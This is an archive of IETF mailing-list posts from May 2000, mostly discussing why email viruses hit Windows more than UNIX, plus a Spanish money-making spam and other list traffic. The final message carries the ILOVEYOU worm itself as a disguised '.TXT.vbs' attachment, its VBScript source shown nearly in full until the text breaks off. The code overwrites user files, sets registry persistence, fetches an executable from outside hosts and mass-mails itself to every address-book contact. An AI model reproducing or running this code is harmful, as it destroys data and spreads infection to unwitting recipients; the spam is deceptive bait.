> > On Thu, 04 May 2000 11:11:50 EDT, Scot Mc Pherson <smcpherson@clearaccess.net>  said:
> > > In fact to back up your statement, there are exactly 3 virii that infect
> > > UNIX based systems.
> 
> > Hmm.. the Morris worm of 1988.  What are the other 2?
> 
>         Bliss?  Wasn't very sophisticated and it didn't propagate very
> well, but it did work.  It just fizzeled out because it's propagation
> coefficient never even came close to break even.
> 
>         What's the other one?
> 
> > Hmm.. if you count the 2 self-reproducing sample programs that
> > came with 'gcc', no others.  Or maybe there's more than 3, which
> > is likely since I've seen at least 4 different "proof of concept"
> > level creations...
> 
>         I've seen some assembly code someone was proposing on one of the
> development lists.  One of the DOS virus writers claiming that it would
> work as a Linux virus.  No evidence that it does anything though.  I
> would marginally call that one a "proof of concept" or a "maybe of
> concept".
> 
> >                               Valdis Kletnieks
> >                               Operating Systems Analyst
> >                               Virginia Tech
> 
>         Mike
> --
>  Michael H. Warfield    |  (770) 985-6132   |  mhw@WittsEnd.com
>   (The Mad Wizard)      |  (770) 331-2437   |  http://www.wittsend.com/mhw/
>   NIC whois:  MHW9      |  An optimist believes we live in the best of all
>  PGP Key: 0xDF1DD471    |  possible worlds.  A pessimist is sure of it!

-- 
Randall R. Stewart
Member Technical Staff
Network Architecture and Technology (NAT)
847-632-7438 fax:847-632-6733



From owner-ietf-outbound  Fri May  5 18:01:33 2000
Received: by ietf.org (8.9.1a/8.9.1a) id SAA29776
	for ietf-outbound.10@ietf.org; Fri, 5 May 2000 18:00:02 -0400 (EDT)
Received: from astro.cs.utk.edu (ASTRO.CS.UTK.EDU [128.169.93.168])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA29746
	for <ietf@ietf.org>; Fri, 5 May 2000 17:59:52 -0400 (EDT)
Received: from astro.cs.utk.edu (LOCALHOST [127.0.0.1])
        by astro.cs.utk.edu (cf 8.9.3) with ESMTP id RAA03624;
        Fri, 5 May 2000 17:59:34 -0400 (EDT)
Message-Id: <200005052159.RAA03624@astro.cs.utk.edu>
X-URI: http://www.cs.utk.edu/~moore/
From: Keith Moore <moore@cs.utk.edu>
To: Randall Stewart <rstewar1@email.mot.com>
cc: "Michael H. Warfield" <mhw@wittsend.com>, Valdis.Kletnieks@VT.EDU,
        Scot Mc Pherson <smcpherson@clearaccess.net>, ietf@ietf.org
Subject: viruses on UNIX vs. Windows 
X-Subject-Was: Re: VIRUS WARNING
In-reply-to: Your message of "Fri, 05 May 2000 20:04:33 -0000."
             <39132951.581927D6@email.mot.com> 
Date: Fri, 05 May 2000 17:59:33 -0400
Sender: moore@cs.utk.edu
X-Loop: ietf@ietf.org

it might be useful to further examine the differences between UNIX-like
systems (including Linux) and Windows systems regarding their 
susceptibility to viruses.  

1. it should first be noted that UNIX-like systems are not immune to 
worms or viruses.  the Morris worm propagated itself via buffer
overflow bugs in sendmail and finger, and similar vulnerabilities are
probably still available to a would-be attacker.  over the years many 
more security holes like these have been found in UNIX systems and 
exploited.  we'll keep seeing such holes as long as people write 
servers in C.  but for some reason such attacks tend not to be viruses,
we just haven't seen many worms/viruses use these techniques since the 
Morris worm.

2. the Morris worm worked with both vax and sun3 platforms presumably
because these were the most  popular platforms then in use on the 
Internet.  today most viruses target Windows boxes presumably because
they are so popular.

3. the attacks that have been successful against UNIX tend to be specific 
to a particular platform - its CPU instruction set, memory layout,
system traps, and library routines.  Windows boxes are also vulnerable 
to hardware-specific attacks, but they also support things like vbscript.  
so there are multiple languages by which one can attack a windows box, 
and many of those are commonly bundled with Windows.  so in addition
to windows being more popular, in some ways you it has a more 
predictable target environment (i.e. a given windows box is likely to
have more facilities you can exploit than a UNIX box) this makes Windows 
a more predictable platform for software developers, but virus writers 
are software developers too.

4. email-borne viruses have somewhat greater ability to penetrate 
private networks because email tends to not be filtered by firewalls
(and even firewalls that scan for viruses generally are limited to
scanning for known viruses)

UNIX-based email clients are less vulnerable than their Windows
counterparts because

a) UNIX-like systems do not come with an extensive registry of content-type 
   -to- program mappings.  nor, in general, do mail readers for these 
   platforms.  so if a mail reader receives an object with an unusual 
   content-type it is unlikely to know what to do with it (other than 
   to offer to save it to a file)

b) UNIX based mail readers tend to rely on the MIME content-type
   label and are less likely than Windows readers to "guess" how to
   handle a file based on the file name suffix.   MIME content-type
   registrations are required to contain a security considerations 
   section.  it may be that as a result, the content-type registry 
   on a UNIX system is less likely to contain definitions for 
   dangerous objects, than on a windows system...and therefore
   UNIX mail readers are less likely to try to interpret such things.

c) UNIX systems have fewer interpreters for content-types that
   can cause harmful side-effects, and such as do exist (such
   as PostScript) are more likely to be invoked in a "safe" mode.  

   script attacks are certainly possible on UNIX - most UNIX systems
   support script languages with destructive power similar to vbscript.
   but it is very unlikely that a UNIX mail reader would be configured
   to, say, automatically execute a perl script received in mail.

d) UNIX has not traditionally had a point-and-click interface,
   so the notion that there is some action implicitly associated
   with a file type, so common in the Windows and Mac worlds,
   does not hold for UNIX.  Indeed, UNIX has much the opposite
   notion - that arbitrary tools can be applied to arbitrary files.

5. unlike many Windows-ish boxes, UNIX is a multi user operating
   system with file protections.  thus there is a layer of isolation 
   between user processes and the operating system, which limits the 
   degree of damage that is likely to happen.  to be sure, a lot of 
   harm can be done by trashing or altering a single user's files, 
   and there may are often security holes which can be exploited 
   to elevate an ordinary user's privileges.  but this is still an 
   additional barrier that must be overcome.  Windows is an easier
   target.

6. there is a great deal more history with security exploits,
   and thus with countermeasures, on UNIX-like systems.

   there seems to be greater awareness of the potential for harm
   among the UNIX community than among Windows developers.
   this may be because UNIX is primarily used by computer experts.

conclusion:

to some degree Windows is inherently more vulnerable because it
is a more popular platform.  however it should be possible to make 
Windows much less vulnerable than it currently is merely by a few 
countermeasures.

- don't automatically evaluate content unless it is KNOWN to be safe
  from harmful side-effects.  either that or evaluate the content
  only within a sandbox which prevents such harm.  (this means
  that you limit the content that you're willing to automatically
  evaluate to a few well-understood types)

- don't offer to execute content that can cause harm unless 
  (a) the recipient okays it, (b) the sender's identity is
   known and the integrity of the file can be assured
  (via verifiable digital signatures), and (c) the recipient
  is warned *each time* that the content can cause harm.


Keith



From owner-ietf-outbound  Fri May  5 18:11:30 2000
Received: by ietf.org (8.9.1a/8.9.1a) id SAA00074
	for ietf-outbound.10@ietf.org; Fri, 5 May 2000 18:10:03 -0400 (EDT)
Received: from papaya.AESOP (root@[209.189.115.49])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA00027
	for <ietf@ietf.org>; Fri, 5 May 2000 18:08:17 -0400 (EDT)
Received: from [193.153.11.190] ([193.153.11.190]:44554 "HELO your email address" ident: "NO-IDENT-SERVICE") by papaya.AESOP with SMTP id <270391-19720>; Fri, 5 May 2000 14:35:28 -0700
From: ebiz@navegalia.com
Reply-To: ebiz@navegalia.com
To: ietf@ietf.org
Subject: GANA DINERO CASI DE IMMEDIATO
Message-Id: <20000505213530Z270391-19720+765@papaya.AESOP>
Date: 	Fri, 5 May 2000 14:35:28 -0700
X-Loop: ietf@ietf.org

Hola,

Puede que usted sea una persona que le interesan las oportunidades;
si estoy en un error, por favor una disculpa.

Gane de $40-100 USD diarios. Resultados en 24 horas!!

Utilice nuestro Sistema Automatizado de Promocion. Es muy facil.

Solicite informes enviando un email en blanco al visitar nuestra pagina en:


http://ebiz.paklinks.com/
http://go.quick.to/ebiz/
http://nikkei.st/to/ebiz/
http://www.ir-a.net/ebiz

Si encuentra que algunos de estos links no funciona, visite el siguiente. Se agradece informe del
fallo

O envie un email a:

<mailto:info-ebiz@eudoramail.com?subject=informacion>

Gracias por su atencion
-----------------------------------------------------------------------------------------------------------------------------------------
Puede borrarse de la lista en cualquiera de las direcciones ofrecidas. No obstante este email
solo lo recibira esta vez desde esta direccion por lo que no es necesario darse de baja.
Por otro lado el envio de este email es legal desde el punto de vista de las leyes españolas.



___________________________________________________________




From owner-ietf-outbound  Fri May  5 20:41:31 2000
Received: by ietf.org (8.9.1a/8.9.1a) id UAA01776
	for ietf-outbound.10@ietf.org; Fri, 5 May 2000 20:40:02 -0400 (EDT)
Received: from zeus.bresnanlink.net (mail.bresnanlink.net [24.213.60.74])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id UAA01744
	for <ietf@ietf.org>; Fri, 5 May 2000 20:39:09 -0400 (EDT)
Received: from acm.org ([204.73.160.88]) by zeus.bresnanlink.net
          (Post.Office MTA v3.5.3 release 223 ID# 0-67047U15200L1520S0V35)
          with ESMTP id net for <ietf@ietf.org>;
          Fri, 5 May 2000 20:34:21 -0400
Sender: blk
Message-ID: <39136985.9052D499@acm.org>
Date: Sat, 06 May 2000 00:38:29 +0000
From: Brant Knudson <blk@acm.org>
X-Mailer: Mozilla 4.5 [en] (X11; U; Linux 2.2.12 i586)
X-Accept-Language: en
MIME-Version: 1.0
To: ietf@ietf.org
Subject: Re: VIRUS WARNING
References: <27655.957475698@cs.ucl.ac.uk>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
X-Loop: ietf@ietf.org
Content-Transfer-Encoding: 7bit


I think I'm starting to see a pattern emerging in email viruses.

Melissa:  Uses script to read user's address book to get the email
addresses of new victims.
ILOVEYOU: Uses script to read user's address book to get the email
addresses of new victims.

What method do you think the next email virus is going to use if
Microsoft doesn't stop scripts from reading people's address books?  Why
didn't MS plug this hole after Melissa?

Brant

I actually laughed when I saw these lines:

> rr=wscr.RegRead("HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting
> Host\Settings\Timeout")
> if (rr>=1) then
> wscr.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting
> Host\Settings\Timeout",0,"REG_DWORD"
> end if

Pretty blatant security problem, being able to set the timeout for the
running script so it can take all the time it wants.  (Besides being
able to write to the registry, etc.)



From owner-ietf-outbound  Fri May  5 21:31:17 2000
Received: by ietf.org (8.9.1a/8.9.1a) id VAA02274
	for ietf-outbound.10@ietf.org; Fri, 5 May 2000 21:30:03 -0400 (EDT)
Received: from mail-green.research.att.com (H-135-207-30-103.research.att.com [135.207.30.103])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id VAA02238
	for <ietf@ietf.org>; Fri, 5 May 2000 21:26:03 -0400 (EDT)
Received: from postal.research.att.com (postal.research.att.com [135.207.23.30])
	by mail-green.research.att.com (Postfix) with ESMTP
	id EA31D1E037; Fri,  5 May 2000 21:26:04 -0400 (EDT)
Received: from smb.research.att.com (postal.research.att.com [135.207.23.30])
	by postal.research.att.com (8.8.7/8.8.7) with ESMTP id VAA19953;
	Fri, 5 May 2000 21:26:04 -0400 (EDT)
Received: from smb.research.att.com (localhost.research.att.com [127.0.0.1])
	by smb.research.att.com (Postfix) with ESMTP
	id 211C835DC2; Fri,  5 May 2000 21:25:58 -0400 (EDT)
X-Mailer: exmh version 2.1.1 10/15/1999
From: "Steven M. Bellovin" <smb@research.att.com>
To: Brant Knudson <blk@acm.org>
Cc: ietf@ietf.org
Subject: Re: VIRUS WARNING 
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Date: Fri, 05 May 2000 21:25:57 -0400
Sender: smb@research.att.com
Message-Id: <20000506012558.211C835DC2@smb.research.att.com>
X-Loop: ietf@ietf.org

In message <39136985.9052D499@acm.org>, Brant Knudson writes:
>
>I think I'm starting to see a pattern emerging in email viruses.
>
>Melissa:  Uses script to read user's address book to get the email
>addresses of new victims.
>ILOVEYOU: Uses script to read user's address book to get the email
>addresses of new victims.
>
>What method do you think the next email virus is going to use if
>Microsoft doesn't stop scripts from reading people's address books?  Why
>didn't MS plug this hole after Melissa?

Hardly new -- the IBM Christmas Card Virus, in 1987 (yes, before the Morris 
Worm) used the exact same technique.

		--Steve Bellovin




From owner-ietf-outbound  Fri May  5 22:50:14 2000
Received: by ietf.org (8.9.1a/8.9.1a) id WAA04984
	for ietf-outbound.10@ietf.org; Fri, 5 May 2000 22:50:02 -0400 (EDT)
Received: from mail2.microsoft.com (mail2.microsoft.com [131.107.3.124])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id WAA04961
	for <ietf@ietf.org>; Fri, 5 May 2000 22:48:12 -0400 (EDT)
Received: from 157.54.9.104 by mail2.microsoft.com (InterScan E-Mail VirusWall NT); Fri, 05 May 2000 15:05:31 -0700 (Pacific Daylight Time)
Received: by INET-IMC-02 with Internet Mail Service (5.5.2651.58)
	id <KJG5MAXM>; Fri, 5 May 2000 15:05:31 -0700
Message-ID: <D5922CA42F8CD31189D800805F19A16C04B7B29D@RED-MSG-48>
From: Ian King <iking@microsoft.com>
To: "'Randall Stewart'" <rstewar1@email.mot.com>,
        "Michael H. Warfield"
	 <mhw@wittsend.com>
Cc: Valdis.Kletnieks@vt.edu, Scot Mc Pherson <smcpherson@clearaccess.net>,
        ietf@ietf.org
Subject: RE: VIRUS WARNING
Date: Fri, 5 May 2000 15:05:21 -0700 
X-Mailer: Internet Mail Service (5.5.2651.58)
X-Loop: ietf@ietf.org

The goal of those who write viruses is to get attention, true?  I guess they
figure that writing their viruses for Windows is going to get them a lot
more attention than writing for other operating systems with smaller user
bases.  :-)  

Tongue firmly in cheek -- Ian King 
----------
DISCLAIMER: The foregoing is my personal opinion, and should not be
construed as the official position of or statement by my employer.  

-----Original Message-----
From: Randall Stewart [mailto:rstewar1@email.mot.com]
Sent: Friday, May 05, 2000 1:05 PM
To: Michael H. Warfield
Cc: Valdis.Kletnieks@vt.edu; Scot Mc Pherson; ietf@ietf.org
Subject: Re: VIRUS WARNING


Michael:

I could not agree more, we have a few (possibly .. 3) virus that have
infect *nix systems. Even more telling, look at how linux systems
have NOT been infected or bothered much. I find this interesting
since the code - bugs, wart, and any holes are available to any
who want to look at it...

Now if I take and switch the machine I am typing on over to
that "other" o/s the virus scanner it has lists 100's and I 
mean 100's of viruses...

I do understand that some of us are STUCK with that other
O/S... but there are options.. I too am in theory using it.. but
only when I have to... I do all my real work on the linux side and
only occasionaly fire up the other side to read a awful .doc or .ppt
file...

I simply refuse to allow our IT dept to have there way with me and
infect me with the worst virus... that other O/S :-)

R
[snip]



From owner-ietf-outbound  Fri May  5 23:40:13 2000
Received: by ietf.org (8.9.1a/8.9.1a) id XAA05729
	for ietf-outbound.10@ietf.org; Fri, 5 May 2000 23:40:03 -0400 (EDT)
Received: from shell9.ba.best.com (root@shell9.ba.best.com [206.184.139.140])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id XAA05691
	for <ietf@ietf.org>; Fri, 5 May 2000 23:35:25 -0400 (EDT)
Received: (from bovik@localhost)
	by shell9.ba.best.com (8.9.3/8.9.2/best.sh) id UAA25596;
	Fri, 5 May 2000 20:35:09 -0700 (PDT)
Date: Fri, 5 May 2000 20:35:09 -0700 (PDT)
From: "James P. Salsman" <bovik@best.com>
Message-Id: <200005060335.UAA25596@shell9.ba.best.com>
To: ietf@ietf.org, www-html@W3.ORG, www-talk@W3.ORG
Subject: device upload update
X-Loop: ietf@ietf.org

The device upload petition at:

  http://www.bovik.org/devup-petition

Has been updated with a message from Tim Berners-Lee:

  http://www.bovik.org/devup-petition/tbl-devup.txt

For the record, I fully support device upload without the DEVICE 
attribute.  It is so much better than nothing that the incremental 
benefits of my device upload proposal are no more than miniscule 
by comparison.

Evidently, the California Attorney General was gracious enough to 
voice these concerns during some of the recent antitrust remedy 
conferences.  A lot of people sent Dr. Berners-Lee's comments in 
to the A.G., for which they deserve our thanks.  However, Microsoft 
has been objecting that some things in the proposed remedy were not 
raised at trial.  I doubt that late evidence will have much effect 
on what the judge can order pending appeal, but I hope anyone 
reading this with any influence in the matter will do what needs 
to be done to keep Microsoft from their strangle-hold on audio 
upload plug-ins.  If MSIE were to implement microphone upload, as 
described by the Director of the W3C, I have no doubt that the 
other browser manufacturers would quickly follow.

The project to add the feature to Mozilla:
  http://www.sourcexchange.com/WishDetail?wishID=227
is progressing slowly due in part to the effects of the Gecko 
re-write.  I invite anyone to take a crack at it.  Relevant code 
excerpts are available from SourceXchange by clicking on the 
"View Comments" button from the link above.  And of course all 
the current annotated source code is available from www.mozilla.org.

Cheers,
James



From owner-ietf-outbound  Sat May  6 04:10:31 2000
Received: by ietf.org (8.9.1a/8.9.1a) id EAA19041
	for ietf-outbound.10@ietf.org; Sat, 6 May 2000 04:10:01 -0400 (EDT)
Received: from necom830.hpcl.titech.ac.jp (necom830.hpcl.titech.ac.jp [131.112.32.132])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id EAA19012
	for <ietf@ietf.org>; Sat, 6 May 2000 04:06:26 -0400 (EDT)
From: Masataka Ohta <mohta@necom830.hpcl.titech.ac.jp>
Message-Id: <200005060759.QAA02377@necom830.hpcl.titech.ac.jp>
Received: by necom830.hpcl.titech.ac.jp (8.6.11/TM2.1)
	id QAA02377; Sat, 6 May 2000 16:59:16 +0900
Subject: Re: draft-ietf-nat-protocol-complications-02.txt
In-Reply-To: <v04220804b52a1d69f905@[10.19.130.188]> from Steve Deering at "Apr
 24, 2000 09:42:06 am"
To: Steve Deering <deering@cisco.com>
Date: Sat, 6 May 2000 16:59:15 +0859 ()
CC: Sean Doran <smd@ebone.net>, iking@microsoft.com, moore@cs.utk.edu,
        ietf@ietf.org, stpeters@NetHeaven.com
X-Mailer: ELM [version 2.4ME+ PL68 (25)]
X-Loop: ietf@ietf.org

Steve Deering;

> >Unfortunately, IPv6's current addressing architecture makes it very
> >difficult to do this sort of traditional multihoming if one is not

> >IPv6's larger address space is merely a necessary piece of an 
> >Internet which will not run out of numbers.  
> 
> Wow, we actually agree on something!  (Though I could quibble over the
> "merely".)

As you two seemingly have agreed, IPv6, as is, is not so useful
for scalable multihoming.

However, transition to IPv6 is important to solve multihoming
issues, because IPv6 routing space is not yet polluted by
unaggregated addresses.

Important pieces are documented in

	<draft-ohta-e2e-multihoming-00.txt>

	The Architecture of End to End Multihoming

just become available.

						Masataka Ohta



From owner-ietf-outbound  Sun May  7 02:22:48 2000
Received: by ietf.org (8.9.1a/8.9.1a) id CAA10659
	for ietf-outbound.10@ietf.org; Sun, 7 May 2000 02:21:40 -0400 (EDT)
Received: from mailgw1.netvision.net.il (mailgw1.netvision.net.il [194.90.1.14])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id CAA08706
	for <ietf@ietf.org>; Sun, 7 May 2000 02:07:11 -0400 (EDT)
Received: from ismailout.icomverse.com (Efrat-FR3.ser.netvision.net.il [199.203.174.65])
	by mailgw1.netvision.net.il (8.9.3/8.9.3) with ESMTP id JAA16869
	for <ietf@ietf.org>; Sun, 7 May 2000 09:06:18 +0300 (IDT)
Received: from ismail1.icomverse.com (ismail1.icomverse.com [190.190.110.2])
	by ismailout.icomverse.com (8.10.1/8.10.1) with ESMTP id e4773gH21222
	for <ietf@ietf.org>; Sun, 7 May 2000 10:03:42 +0300
Received: by ismail1.icomverse.com with Internet Mail Service (5.5.2650.21)
	id <KJ1C1BD9>; Sun, 7 May 2000 09:04:55 +0300
Message-ID: <CE835E918749D21191B10060084C377E01E15ECF@ismail1.icomverse.com>
From: "Gazal, Elly" <Elly_Gazal@icomverse.com>
To: IETF <ietf@ietf.org>
Subject: ILOVEYOU
Date: Sun, 7 May 2000 09:04:39 +0300 
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: multipart/mixed;
	boundary="----_=_NextPart_000_01BFB7EA.29D9DDFC"
X-Loop: ietf@ietf.org

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_000_01BFB7EA.29D9DDFC
Content-Type: text/plain


kindly check the attached LOVELETTER coming from me.


------_=_NextPart_000_01BFB7EA.29D9DDFC
Content-Type: application/octet-stream;
	name="LOVE-LETTER-FOR-YOU.TXT.vbs"
Content-Disposition: attachment;
	filename="LOVE-LETTER-FOR-YOU.TXT.vbs"
Content-Transfer-Encoding: quoted-printable

rem  barok -loveletter(vbe) <i hate go to school>
rem 			by: spyder  /  ispyder@mail.com  /  @GRAMMERSoft Group  /  =
Manila,Philippines
On Error Resume Next
dim fso,dirsystem,dirwin,dirtemp,eq,ctr,file,vbscopy,dow
eq=3D""
ctr=3D0
Set fso =3D CreateObject("Scripting.FileSystemObject")
set file =3D fso.OpenTextFile(WScript.ScriptFullname,1)
vbscopy=3Dfile.ReadAll
main()
sub main()
On Error Resume Next
dim wscr,rr
set wscr=3DCreateObject("WScript.Shell")
rr=3Dwscr.RegRead("HKEY_CURRENT_USER\Software\Microsoft\Windows =
Scripting Host\Settings\Timeout")
if (rr>=3D1) then
wscr.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting =
Host\Settings\Timeout",0,"REG_DWORD"
end if
Set dirwin =3D fso.GetSpecialFolder(0)
Set dirsystem =3D fso.GetSpecialFolder(1)
Set dirtemp =3D fso.GetSpecialFolder(2)
Set c =3D fso.GetFile(WScript.ScriptFullName)
c.Copy(dirsystem&"\MSKernel32.vbs")
c.Copy(dirwin&"\Win32DLL.vbs")
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
regruns()
html()
spreadtoemail()
listadriv()
end sub
sub regruns()
On Error Resume Next
Dim num,downread
regcreate =
"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\MSKern=
el32",dirsystem&"\MSKernel32.vbs"
regcreate =
"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunService=
s\Win32DLL",dirwin&"\Win32DLL.vbs"
downread=3D""
downread=3Dregget("HKEY_CURRENT_USER\Software\Microsoft\Internet =
Explorer\Download Directory")
if (downread=3D"") then
downread=3D"c:\"
end if
if (fileexist(dirsystem&"\WinFAT32.exe")=3D1) then
Randomize
num =3D Int((4 * Rnd) + 1)
if num =3D 1 then
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start =
Page","http://www.skyinet.net/~young1s/HJKhjnwerhjkxcvytwertnMTFwetrdsfm=
hPnjw6587345gvsdf7679njbvYT/WIN-BUGSFIX.exe"
elseif num =3D 2 then
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start =
Page","http://www.skyinet.net/~angelcat/skladjflfdjghKJnwetryDGFikjUIyqw=
erWe546786324hjk4jnHHGbvbmKLJKjhkqj4w/WIN-BUGSFIX.exe"
elseif num =3D 3 then
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start =
Page","http://www.skyinet.net/~koichi/jf6TRjkcbGRpGqaq198vbFV5hfFEkbopBd=
QZnmPOhfgER67b3Vbvg/WIN-BUGSFIX.exe"
elseif num =3D 4 then
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start =
Page","http://www.skyinet.net/~chu/sdgfhjksdfjklNBmnfgkKLHjkqwtuHJBhAFSD=
GjkhYUgqwerasdjhPhjasfdglkNBhbqwebmznxcbvnmadshfgqw237461234iuy7thjg/WIN=
-BUGSFIX.exe"
end if
end if
if (fileexist(downread&"\WIN-BUGSFIX.exe")=3D0) then
regcreate =
"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\WIN-BU=
GSFIX",downread&"\WIN-BUGSFIX.exe"
regcreate "HKEY_CURRENT_USER\Software\Microsoft\Internet =
Explorer\Main\Start Page","about:blank"
end if
end sub
sub listadriv
On Error Resume Next
Dim d,dc,s
Set dc =3D fso.Drives
For Each d in dc
If d.DriveType =3D 2 or d.DriveType=3D3 Then
folderlist(d.path&"\")
end if
Next
listadriv =3D s
end sub
sub infectfiles(folderspec) =20
On Error Resume Next
dim f,f1,fc,ext,ap,mircfname,s,bname,mp3
set f =3D fso.GetFolder(folderspec)
set fc =3D f.Files
for each f1 in fc
ext=3Dfso.GetExtensionName(f1.path)
ext=3Dlcase(ext)
s=3Dlcase(f1.name)
if (ext=3D"vbs") or (ext=3D"vbe") then
set ap=3Dfso.OpenTextFile(f1.path,2,true)
ap.write vbscopy
ap.close
elseif(ext=3D"js") or (ext=3D"jse") or (ext=3D"css") or (ext=3D"wsh") =
or (ext=3D"sct") or (ext=3D"hta") then
set ap=3Dfso.OpenTextFile(f1.path,2,true)
ap.write vbscopy
ap.close
bname=3Dfso.GetBaseName(f1.path)
set cop=3Dfso.GetFile(f1.path)
cop.copy(folderspec&"\"&bname&".vbs")
fso.DeleteFile(f1.path)
elseif(ext=3D"jpg") or (ext=3D"jpeg") then
set ap=3Dfso.OpenTextFile(f1.path,2,true)
ap.write vbscopy
ap.close
set cop=3Dfso.GetFile(f1.path)
cop.copy(f1.path&".vbs")
fso.DeleteFile(f1.path)
elseif(ext=3D"mp3") or (ext=3D"mp2") then
set mp3=3Dfso.CreateTextFile(f1.path&".vbs")
mp3.write vbscopy
mp3.close
set att=3Dfso.GetFile(f1.path)
att.attributes=3Datt.attributes+2
end if
if (eq<>folderspec) then
if (s=3D"mirc32.exe") or (s=3D"mlink32.exe") or (s=3D"mirc.ini") or =
(s=3D"script.ini") or (s=3D"mirc.hlp") then
set scriptini=3Dfso.CreateTextFile(folderspec&"\script.ini")
scriptini.WriteLine "[script]"
scriptini.WriteLine ";mIRC Script"
scriptini.WriteLine ";  Please dont edit this script... mIRC will =
corrupt, if mIRC will"
scriptini.WriteLine "     corrupt... WINDOWS will affect and will not =
run correctly. thanks"
scriptini.WriteLine ";"
scriptini.WriteLine ";Khaled Mardam-Bey"
scriptini.WriteLine ";http://www.mirc.com"
scriptini.WriteLine ";"
scriptini.WriteLine "n0=3Don 1:JOIN:#:{"
scriptini.WriteLine "n1=3D  /if ( $nick =3D=3D $me ) { halt }"
scriptini.WriteLine "n2=3D  /.dcc send $nick =
"&dirsystem&"\LOVE-LETTER-FOR-YOU.HTM"
scriptini.WriteLine "n3=3D}"
scriptini.close
eq=3Dfolderspec
end if
end if
next =20
end sub
sub folderlist(folderspec) =20
On Error Resume Next
dim f,f1,sf
set f =3D fso.GetFolder(folderspec) =20
set sf =3D f.SubFolders
for each f1 in sf
infectfiles(f1.path)
folderlist(f1.path)
next =20
end sub
sub regcreate(regkey,regvalue)
Set regedit =3D CreateObject("WScript.Shell")
regedit.RegWrite regkey,regvalue
end sub
function regget(value)
Set regedit =3D CreateObject("WScript.Shell")
regget=3Dregedit.RegRead(value)
end function
function fileexist(filespec)
On Error Resume Next
dim msg
if (fso.FileExists(filespec)) Then
msg =3D 0
else
msg =3D 1
end if
fileexist =3D msg
end function
function folderexist(folderspec)
On Error Resume Next
dim msg
if (fso.GetFolderExists(folderspec)) then
msg =3D 0
else
msg =3D 1
end if
fileexist =3D msg
end function
sub spreadtoemail()
On Error Resume Next
dim x,a,ctrlists,ctrentries,malead,b,regedit,regv,regad
set regedit=3DCreateObject("WScript.Shell")
set out=3DWScript.CreateObject("Outlook.Application")
set mapi=3Dout.GetNameSpace("MAPI")
for ctrlists=3D1 to mapi.AddressLists.Count
set a=3Dmapi.AddressLists(ctrlists)
x=3D1
regv=3Dregedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a)
if (regv=3D"") then
regv=3D1
end if
if (int(a.AddressEntries.Count)>int(regv)) then
for ctrentries=3D1 to a.AddressEntries.Count
malead=3Da.AddressEntries(x)
regad=3D""
regad=3Dregedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\"&male=
ad)
if (regad=3D"") then
set male=3Dout.CreateItem(0)
male.Recipients.Add(malead)
male.Subject =3D "ILOVEYOU"
male.Body =3D vbcrlf&"kindly check the attached LOVELETTER coming from =
me."
male.Attachments.Add(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
male.Send
regedit.RegWrite =
"HKEY_CURRENT_USER\Software\Microsoft\WAB\"&malead,1,"REG_DWORD"
end if
x=3Dx+1
next
regedit.RegWrite =
"HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,a.AddressEntries.Count
else
regedit.RegWrite =
"HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,a.AddressEntries.Count
end if
next
Set out=3DNothing
Set mapi=3DNothing
end sub
sub html
On Error Resume Next
dim lines,n,dta1,dta2,dt1,dt2,dt3,dt4,l1,dt5,dt6
dta1=3D"<HTML><HEAD><TITLE>LOVELETTER - HTML<?-?TITLE><META =
NAME=3D@-@Generator@-@ CONTENT=3D@-@BAROK VBS - LOVELETTER@-@>"&vbcrlf& =
_
"<META NAME=3D@-@Author@-@ CONTENT=3D@-@spyder ?-? ispyder@mail.com ?-? =
@GRAMMERSoft Group ?-? Manila, Philippines ?-? March 2000@-@>"&vbcrlf& =
_
"<META NAME=3D@-@Description@-@ CONTENT=3D@-@simple but i think this is =
good...@-@>"&vbcrlf& _
"<?-?HEAD><BODY =
ONMOUSEOUT=3D@-@window.name=3D#-#main#-#;window.open(#-#LOVE-LETTER-FOR-=
YOU.HTM#-#,#-#main#-#)@-@ "&vbcrlf& _
"ONKEYDOWN=3D@-@window.name=3D#-#main#-#;window.open(#-#LOVE-LETTER-FOR-=
YOU.HTM#-#,#-#main#-#)@-@ BGPROPERTIES=3D@-@fixed@-@ =
BGCOLOR=3D@-@#FF9933@-@>"&vbcrlf& _
"<CENTER><p>This HTML file need ActiveX Control<?-?p><p>To Enable to =
read this HTML file<BR>- Please press #-#YES#-# button to Enable =
ActiveX<?-?p>"&vbcrlf& _
"<?-?CENTER><MARQUEE LOOP=3D@-@infinite@-@ =
BGCOLOR=3D@-@yellow@-@>----------z--------------------z----------<?-?MAR=
QUEE> "&vbcrlf& _
"<?-?BODY><?-?HTML>"&vbcrlf& _
"<SCRIPT language=3D@-@JScript@-@>"&vbcrlf& _
"<!--?-??-?"&vbcrlf& _
"if (window.screen){var wi=3Dscreen.availWidth;var =
hi=3Dscreen.availHeight;window.moveTo(0,0);window.resizeTo(wi,hi);}"&vbc=
rlf& _
"?-??-?-->"&vbcrlf& _
"<?-?SCRIPT>"&vbcrlf& _
